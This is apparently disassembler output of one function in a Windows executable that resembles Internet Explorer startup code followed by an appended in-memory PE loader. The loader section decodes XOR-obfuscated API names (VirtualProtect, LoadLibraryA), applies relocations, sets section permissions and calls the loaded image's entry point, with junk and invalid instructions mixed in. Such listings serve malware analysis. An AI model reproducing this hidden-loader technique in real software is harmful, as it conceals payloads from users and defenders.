Function at 0x4012a3
Capabilities:
Check os version
Inspect section memory permissions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x130
mov eax, dword [0x40c050]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, 0x40c588
push esi
call fcn.00401891
push 0x401674
mov dword [0x40c580], 0x401550
mov dword [0x40c584], 0x401560
mov dword [0x40c04c], esi
call fcn.00401e3d
mov eax, dword [0x40c088]
or eax, dword [0x40c08c]
push 0
pop ebx
jne 0x4013bf
cmp byte [0x40c040], bl
jne 0x401399
lea eax, [ebp - 0x118]
push eax
mov dword [ebp - 0x118], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x401338
cmp dword [ebp - 0x114], 6
setb al
mov byte [0x40c041], al
cmp al, bl
jne 0x401392
push 0x401828
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edi, eax
cmp edi, ebx
je 0x402fea
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40181c
push edi
call esi
mov dword [0x40c05c], eax
cmp eax, ebx
je 0x402fea
push 0x40180c
push edi
call esi
mov dword [0x40c048], eax
cmp eax, ebx
je 0x40361c
push 0x4017fc
push edi
call esi
mov dword [0x40c060], eax
cmp eax, ebx
je 0x40361c
mov byte [0x40c040], 1
cmp byte [0x40c041], bl
jne 0x40362b
push 0x40c088
push 0x40c228
push 0x406f19
push 0x4017ec
call dword [0x40c048]
mov eax, dword [0x40c04c]
mov ecx, dword [eax + 0x30]
mov eax, dword [eax + 0x34]
mov edx, ecx
or edx, eax
jne 0x40366d
cmp dword [0x40c24c], ebx
jne 0x403684
push 0x40c09c
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call fcn.00402c3a
call fcn.0040200e
call fcn.00401b20
xor esi, esi
inc esi
push esi
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
lea eax, [ebp - 0x128]
push eax
mov dword [ebp - 0x11c], esi
call fcn.00401e8b
push ebx
push ebx
push esi
mov edi, eax
push ebx
mov dword [ebp - 0x124], edi
call dword [sym.imp.KERNEL32.dll_HeapSetInformation]
mov eax, dword [ebp + 8]
mov dword [0x40c058], eax
call fcn.004018d3
cmp eax, ebx
je 0x40143f
push eax
call fcn.0040217a
call sub.iertutil.dll_Ordinal_46
mov esi, dword [sym.imp.SHLWAPI.dll_IsOS]
push 0x25
call esi
test eax, eax
je 0x401461
call sub.iertutil.dll_Ordinal_32
cmp eax, 1
jne 0x401461
call sub.iertutil.dll_Ordinal_44
push 0x401648
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
push eax
push edi
call fcn.00401fd5
test eax, eax
jne 0x4036f2
push edi
call fcn.004019d9
test eax, eax
jne 0x4014b0
push edi
call fcn.0040194b
test eax, eax
jne 0x402f40
cmp dword [ebp - 0x128], ebx
jne 0x403702
push dword [ebp + 0x14]
push edi
call sub.IEFRAME.dll_Ordinal_251
mov dword [ebp - 0x11c], eax
call fcn.004016c3
push dword [ebp - 0x124]
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0x40c09c
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
cmp byte [0x40c040], bl
je 0x401505
mov esi, dword [0x40c088]
mov eax, dword [0x40c08c]
mov ecx, esi
or ecx, eax
je 0x401505
cmp byte [0x40c041], bl
jne 0x403795
push eax
push esi
call dword [0x40c060]
mov dword [0x40c088], ebx
mov dword [0x40c08c], ebx
call fcn.004016d6
lea eax, [ebp - 0x130]
push eax
push 0x401620
push 0x401570
push 0x80000002
mov dword [ebp - 0x130], ebx
call fcn.004017a6
cmp dword [ebp - 0x130], ebx
pop edi
pop esi
pop ebx
jne 0x4037b6
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x11c]
xor ecx, ebp
call fcn.004016b1
leave
ret 0x10
cmp dword [ebp - 0x128], ebx
jne 0x402f54
lea eax, [ebp - 0x124]
push eax
call fcn.00402d3e
mov dword [ebp - 0x120], ebx
call sub.iertutil.dll_Ordinal_325
push 0x25
movzx edi, al
call esi
test eax, eax
je 0x402f7b
mov eax, dword [ebp - 0x124]
cmp eax, ebx
je 0x402fcf
xor ecx, ecx
cmp cx, word [eax]
je 0x402fcf
call sub.iertutil.dll_Ordinal_32
cmp eax, 1
jne 0x402f8a
call fcn.00402e3f
cmp dword [ebp - 0x120], ebx
jne 0x4014b0
push dword [ebp - 0x128]
push edi
push dword [ebp + 0x14]
push dword [ebp - 0x124]
call sub.IEFRAME.dll_Ordinal_250
jmp 0x4014aa
call sub.iertutil.dll_Ordinal_44
test eax, eax
jne 0x402f7b
call sub.iertutil.dll_Ordinal_42
test eax, eax
je 0x402f7b
cmp edi, ebx
jne 0x402f7b
jmp 0x403711
mov byte [0x40c041], 1
jmp 0x401392
push eax
push esi
push dword [ebp + 8]
call fcn.00403234
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
xchg esp, eax
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
and al, dh
inc ebp
movsd dword es:[edi], dword [esi]
xor eax, 0x41a645c6
call fcn.0040327f
push eax
push esi
push dword [ebp + 8]
call fcn.00403234
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
dec dword [ecx - 0xbb7b]
dec dword [ebp + 0x5d88d445]
aam 0x50
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.0040327f
push eax
push esi
push dword [ebp + 8]
call fcn.00403234
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.0040326f
jecxz 0x403724
or al, ch
push ebp
sti
invalid
xor dh, 0x88
popfd
jl 0x4036f4
invalid
invalid
invalid
jae 0x4036d9
inc ebp
and byte [edx - 0x3a], 0x45
sbb dword [ebx - 0x3a], 0x45
test byte [ecx - 0x3a], bh
inc ebp
test dword [edx - 0x3a], esi
inc ebp
xchg byte [ebx - 0x3a], ah
inc ebp
xchg dword [edx - 0x3a], edi
inc ebp
mov byte [ebx - 0x3a], dh
inc ebp
mov dword [esi - 0x3a], ebx
inc ebp
mov dh, byte [edi - 0x3a]
inc ebp
mov edi, dword [eax - 0x3a]
inc ebp
invalid
invalid
movzx eax, word [ebp + 0xc]
mov ecx, dword [ebp - 0x44]
lea eax, [eax + eax*4]
push dword [ecx + eax*8 + 0x10]
lea eax, [ecx + eax*8]
mov ecx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add ecx, dword [ebp + 0x10]
add eax, esi
push ecx
push eax
call fcn.004031e0
add esp, 0xc
inc dword [ebp + 0xc]
mov ax, word [ebp + 0xc]
cmp ax, word [edi + 6]
jb 0x4037ac
call fcn.0040326f
scasd eax, dword es:[edi]
cmpsd dword [esi], dword es:[edi]
je 0x403846
mov edi, dword [esi + 0x3c]
add edi, esi
mov dword [ebp - 0x88], edi
mov eax, dword [edi + 0x80]
cmp eax, ebx
je 0x403a5e
add eax, esi
mov dword [ebp - 0x44], eax
cmp dword [eax + 4], ebx
jne 0x403814
cmp dword [eax + 0xc], ebx
je 0x4038b7
mov edi, dword [eax + 0xc]
add edi, esi
push edi
call dword [ebp - 0xc0]
mov dword [ebp + 0xc], eax
call fcn.0040326f
popfd
in eax, dx
mov ch, 0x39
pop ebp
or al, 0x75
adc dl, byte [edi - 1]
xchg ebp, eax
dec eax
invalid
mov ecx, dword [eax + 0x10]
mov eax, dword [eax]
cmp eax, ebx
lea edi, [ecx + esi]
jne 0x403857
mov dword [ebp + 0x10], edi
jmp 0x40385c
add eax, esi
mov dword [ebp + 0x10], eax
call fcn.0040326f
pop edx
invalid
call fcn.0040326f
pop ds
adc dh, byte [ebp + 0x5d]
mov eax, dword [edi + 0xa0]
cmp eax, ebx
je 0x403923
add eax, esi
cmp dword [eax], ebx
je 0x403923
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x40391e
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
jne 0x403908
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x403910
cmp edx, ebx
jne 0x403a5e
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x4038df
add eax, dword [eax + 4]
jmp 0x4038cc
mov dword [ebp + 0xc], ebx
jmp 0x40392e
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x403946
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x403964
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x4039c2
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x4039a9
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x4039b2
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x4039bc
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x40399e
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x403928
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x403a0f
dec eax
je 0x403a06
sub eax, 3
je 0x4039fd
mov dword [ebp - 4], 0x40
jmp 0x403a2c
mov dword [ebp - 4], 4
jmp 0x403a12
mov dword [ebp - 4], 0x20
jmp 0x403a12
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x403a5e
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x4039de
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.0040326f
push eax
sahf
xchg esi, eax
dec esi
push dword [ebp + 0x14]
push 1
push esi
call edi
mov eax, esi
jmp 0x403a6a
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret